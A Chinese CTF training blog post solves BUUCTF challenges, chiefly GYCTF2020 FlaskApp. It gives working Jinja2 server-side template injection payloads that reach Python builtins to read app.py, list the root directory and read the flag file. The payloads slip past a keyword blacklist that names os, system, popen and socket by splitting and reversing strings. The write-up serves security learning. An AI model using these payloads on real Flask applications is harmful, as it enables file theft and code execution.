[ 2021-10-03 ][BUUCTF] 集训第六天

[BSidesCF 2019]Futurella

火星文

• 复制粘贴搜索框就可以获得flag
• 看源码

轻易得不敢copy flag

[GYCTF2020]FlaskApp

这里会自动重定向到xss平台，很迷
flask debug可以找到源码

flasky
尝试ssti模板注入

先重定向 点击返回拿到base64编码去解码 同理点击+返回操作

{{7*7}}不可以 {{7+7}}可以 别问为什么 有waf

读app.py

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}
{% endif %}
{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 ： {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
Open an interactive python shell in this frame        
​res =  render_template_string(tmp)

htmldecode工具

from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
 
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
 
class NameForm(FlaskForm):
    text = StringField('BASE64加密',validators= [DataRequired()])
    submit = SubmitField('提交')
class NameForm1(FlaskForm):
    text = StringField('BASE64解密',validators= [DataRequired()])
    submit = SubmitField('提交')
 
def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1
 
 
@app.route('/hint',methods=['GET'])
def hint():
    txt = "失败乃成功之母！！"
    return render_template("hint.html",txt = txt)
 
 
@app.route('/',methods=['POST','GET'])
def encode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64encode(text.encode())
        tmp = "结果  :{0}".format(str(text_decode.decode()))
        res =  render_template_string(tmp)
        flash(tmp)
        return redirect(url_for('encode'))
 
    else :
        text = ""
        form = NameForm(text)
        return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
 
@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 ： {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)
        flash( res )
        return redirect(url_for('decode'))
 
    else :
        text = ""
        form = NameForm1(text)
        return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
 
 
@app.route('/<name>',methods=['GET'])
def not_found(name):
    return render_template("404.html",name = name)
 
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)

waf

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

过滤了* 怪不得
过滤了flag和一些重要函数
利用拼接绕过

os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% endif %}
{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

拼接flag 利用open函数读取this_is_the_flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}
{% endif %}
{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %

学习：
切片+[::-1]倒置

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

标签：__,10,BUUCTF,name,03,text,__.__,decode,.__
来源： https://blog.csdn.net/Dannie01/article/details/120592992